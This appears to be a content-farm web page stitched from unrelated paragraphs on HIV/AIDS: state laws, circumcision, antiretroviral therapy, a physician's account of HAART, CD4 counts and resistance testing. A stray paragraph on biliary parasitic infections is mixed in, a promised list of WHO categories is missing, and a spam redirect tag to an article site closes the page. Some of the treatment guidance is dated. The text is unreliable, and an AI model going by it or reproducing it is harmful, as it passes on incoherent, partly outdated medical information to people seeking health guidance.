State Legislation and the Courts To stem transmission of HIV, states have adopted several legal measures. Two states attempted to head off the virus at the pass: Illinois and Louisiana at one point required HIV blood testing as a prerequisite to getting a marriage license. Both states ultimately repealed these statutes because they were difficult to enforce; couples simply crossed state lines to be married in neighboring states. Several states have taken a less stringent approach, requiring only that applicants for a marriage license must be informed of the availability—and advisability—of HIV tests. More commonly, states criminalize sexual behavior that can spread AIDS. Michigan law makes it a felony for an HIV or AIDS-infected person to engage in sex without first informing a partner of the infection. Florida law provides for the prosecution of any HIV-positive person committing prostitution, and it permits rape victims to demand that their attackers undergo testing. Indiana imposes penalties on persons who recklessly or knowingly donate blood or semen with the knowledge that they are HIV-infected.
Circumcision of men: In young African men, circumcision has been shown to reduce their risk of acquiring HIV infection from female partners during vaginal sex by about 50%; male circumcision is probably similarly effective elsewhere. Whether male circumcision reduces HIV transmission from HIV-positive men to women or reduces the risk of acquiring HIV from an infected male partner is unknown.
ART may have a variety of side effects depending on the type of drug. An expert in infectious diseases and HIV treatment should be consulted if the patient needs concomitant treatment for opportunistic infections, hepatitis B, or hepatitis C. Some medications used to treat these conditions will negatively interact with ART drugs.
Sexual practices such as fellatio and cunnilingus appear to be relatively low risk but not absolutely safe (see Table: HIV Transmission Risk for Several Sexual Activities). Risk does not increase significantly if semen or vaginal secretions are swallowed. However, open sores in the mouth may increase risk.
The history of the HIV and AIDS epidemic began in illness, fear and death as the world faced a new and unknown virus. However, scientific advances, such as the development of antiretroviral drugs, have enabled people with access to treatment to live long and healthy lives with HIV.
If the CD4 count is low, people are more likely to develop serious infections and other complications of HIV such as certain cancers. Viral load helps predict how fast the CD4 count is likely to decrease over the next few years.
The idea of combining medications into a “cocktail” came in the mid-nineteen-nineties, mirroring the way oncologists treated cancer. Cancer cells, like H.I.V. particles, can mutate quickly enough to escape a single targeted drug. The treatment regimen—HAART, for highly active antiretroviral therapy—was put through clinical trials by prominent researchers such as David Ho, of the Aaron Diamond Institute, in New York. I gave the cocktail to one of my patients, David Sanford, and less than a month after beginning treatment his fever fell, his infections disappeared, his energy returned, and he started to gain weight. The H.I.V. in his bloodstream plummeted to an undetectable level, where it has remained. Later, in a Pulitzer Prize-winning article, Sanford wrote, “I am probably more likely to be hit by a truck than to die of AIDS.” That now holds true for a great majority of people with H.I.V. in the United States. In the past five years, not one of the dozens of H.I.V. patients I’ve cared for has died of the disease.
A Pakistani technician takes samples in a laboratory alongside a ribbon promoting World Aids Day in Islamabad on November 30, 2013. Researchers in the United States believe there may finally be an HIV vaccine within 10 years.
Drug therapy is often recommended for patients who are committed to taking all their medications and have a CD4 count less than 500 (indicating immune system suppression) or a high viral load (amount of HIV virus in the bloodstream).
Infections in women have dropped 40% since 2005 in the U.S., and new HIV infections in U.S. children have fallen dramatically. This is largely a result of testing and treating infected mothers, as well as establishing uniform testing guidelines for blood products.
AIDS was first recognized in the United States 1981 in homosexual men. Today is seen in both homosexual and heterosexual men and women. AIDS is the advanced form of infection with HIV virus. This virus may not cause recognizable symptoms for a long period after the initial exposure (latent period). As of early 2009, no vaccine was available to prevent HIV infection. Until such a vaccine is developed, all forms of HIV/AIDS therapy are focused on improving the quality and length of life for people who are infected by slowing or halting the replication of the virus and treating or preventing infections and cancers that often develop in people with AIDS.
HIV infection can cause AIDS to develop. However, it is possible to contract HIV without developing AIDS. Without treatment, HIV can progress and, eventually, it will develop into AIDS in the vast majority of cases.
Acronym for acquired immune deficiency (or immunodeficiency) syndrome; disorder of the immune system characterized by opportunistic diseases, including candidiasis, Pneumocystis jiroveci and others. Caused by the human immunodeficiency virus, which is transmitted in body fluids (notably breast milk, blood, and semen) through sexual contact, sharing of contaminated needles (by injecting drug abusers), accidental needle sticks, and contact with contaminated blood.
Drug-resistance testing also has become a key tool in the management of HIV-infected individuals. Details of these tests will be discussed later. Clearly, resistance testing is now routinely used in individuals experiencing poor responses to HIV therapy or treatment failure. In general, a poor response to initial treatment would include individuals who fail to experience a decline in viral load of approximately hundredfold in the first weeks, have a viral load of greater than 500 copies per mL by week 12, or have levels greater than 50 copies per mL by week 24. Treatment failure would generally be defined as an increase in viral load after an initial decline in a person who is believed to be consistently taking his or her medications. Since drug-resistant virus can be transmitted, guidelines from the U.S. Department of Health and Human Services (DHHS) (https://aidsinfo.nih.gov/) and International Antiviral Society-USA (IAS-USA) have suggested that resistance testing be performed in individuals who have never been on therapy to determine if they might have acquired HIV that is resistant to drugs.
Parasitic Infections of the biliary tract are a common cause of biliary obstruction in endemic areas.96,97 Tropical and subtropical countries have the highest incidence and prevalence of these infections. Radiologic imaging may show intrahepatic ductal dilatation. ERCP can be used diagnostically and therapeutically.98 Endoscopic extraction of biliary ascariasis can be performed without sphincterotomy using wire guide baskets.99,100
Although every missed dose increases the chance that the virus will develop resistance to the drugs, a single missed dose should not be cause for alarm. On the contrary, it is an opportunity to learn from the experience and determine why it happened, if it is likely to happen again, and what can be done to minimize missing future doses. Furthermore, if a patient cannot resume medication for a limited time, such as in a medical emergency, there still is no cause for alarm. In this circumstance, the patient should work with their HIV provider to restart therapy as soon as is feasible. Stopping antivirals is associated with some risks of developing drug resistance, and those who wish to stop therapy for any one of a number of reasons should discuss this with their health care professional in advance to establish the best strategy for safely accomplishing this.
The World Health Organization first proposed a definition for AIDS in 1986. Since then, the WHO classification has been updated and expanded several times, with the most recent version being published in 2007. The WHO system uses the following categories:
Because host cells do not have the ability to replicate “viral RNA” but are able to transcribe messenger RNA, RNA viruses must contain enzymes to produce genetic material for new virions. For certain viruses the RNA is replicated by a viral enzyme (transcriptase) contained in the virion, or produced by the host cell the viral RNA as a messenger. In other viruses a reverse transcriptase contained in the virion transcribes the genetic message on the viral RNA into DNA, which is then replicated by the host cell. Reverse transcriptase is actually a combination of two enzymes: a polymerase that assembles the new DNA copy and an RNase that degrades the source RNA. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]